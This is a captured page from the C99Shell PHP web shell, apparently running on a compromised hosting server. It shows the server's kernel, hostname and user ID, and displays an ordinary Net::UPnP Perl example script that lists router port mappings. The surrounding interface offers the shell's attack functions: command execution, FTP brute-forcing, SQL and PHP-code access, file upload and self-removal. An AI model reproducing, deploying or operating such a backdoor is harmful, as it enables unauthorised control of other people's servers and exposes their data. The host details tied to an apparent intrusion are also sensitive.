!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Net-UPnP/examples/   drwxr-xr-x
Free 6182.08 GB of 6263.28 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upnpgwdump.pl (1.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

use Net::UPnP::ControlPoint;
use Net::UPnP::GW::Gateway;

my $obj = Net::UPnP::ControlPoint->new();

@dev_list = ();
while (@dev_list <= 0 || $retry_cnt > 5) {
#    @dev_list = $obj->search(st =>'urn:schemas-upnp-org:device:InternetGatewayDevice:1', mx => 10);
    @dev_list = $obj->search(st =>'upnp:rootdevice', mx => 3);
    $retry_cnt++;


$devNum= 0;
foreach $dev (@dev_list) {
    my $device_type = $dev->getdevicetype();
    if  ($device_type ne 'urn:schemas-upnp-org:device:InternetGatewayDevice:1') {
        next;
    }
    print "[$devNum] : " . $dev->getfriendlyname() . "\n";
    unless ($dev->getservicebyname('urn:schemas-upnp-org:service:WANIPConnection:1')) {
        next;
    }
    my $gwdev = Net::UPnP::GW::Gateway->new();
    $gwdev->setdevice($dev);
    print "\tExternalIPAddress = " . $gwdev->getexternalipaddress() . "\n";
    print "\tPortMappingNumberOfEntries = " . $gwdev->getportmappingnumberofentries() . "\n";
    print "\tTotalBytesRecived = " . $gwdev->gettotalbytesrecieved() . "\n";
    @port_mapping = $gwdev->getportmappingentries();
    $port_num = 0;
    foreach $port_entry (@port_mapping) {
        if ($port_entry) {
            $port_map_name = $port_entry->{'NewPortMappingDescription'};
            if (length($port_map_name) <= 0) {
                $port_map_name = "(No name)";
            }
            print "  [$port_num] : $port_map_name\n";
            foreach $name ( keys %{$port_entry} ) {
                print "    $name = $port_entry->{$name}\n";
            }
        }
        else {
            print "  [$port_num] : Unknown\n";
        }
        $port_num++;
    }
}


exit 0;


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0127 ]--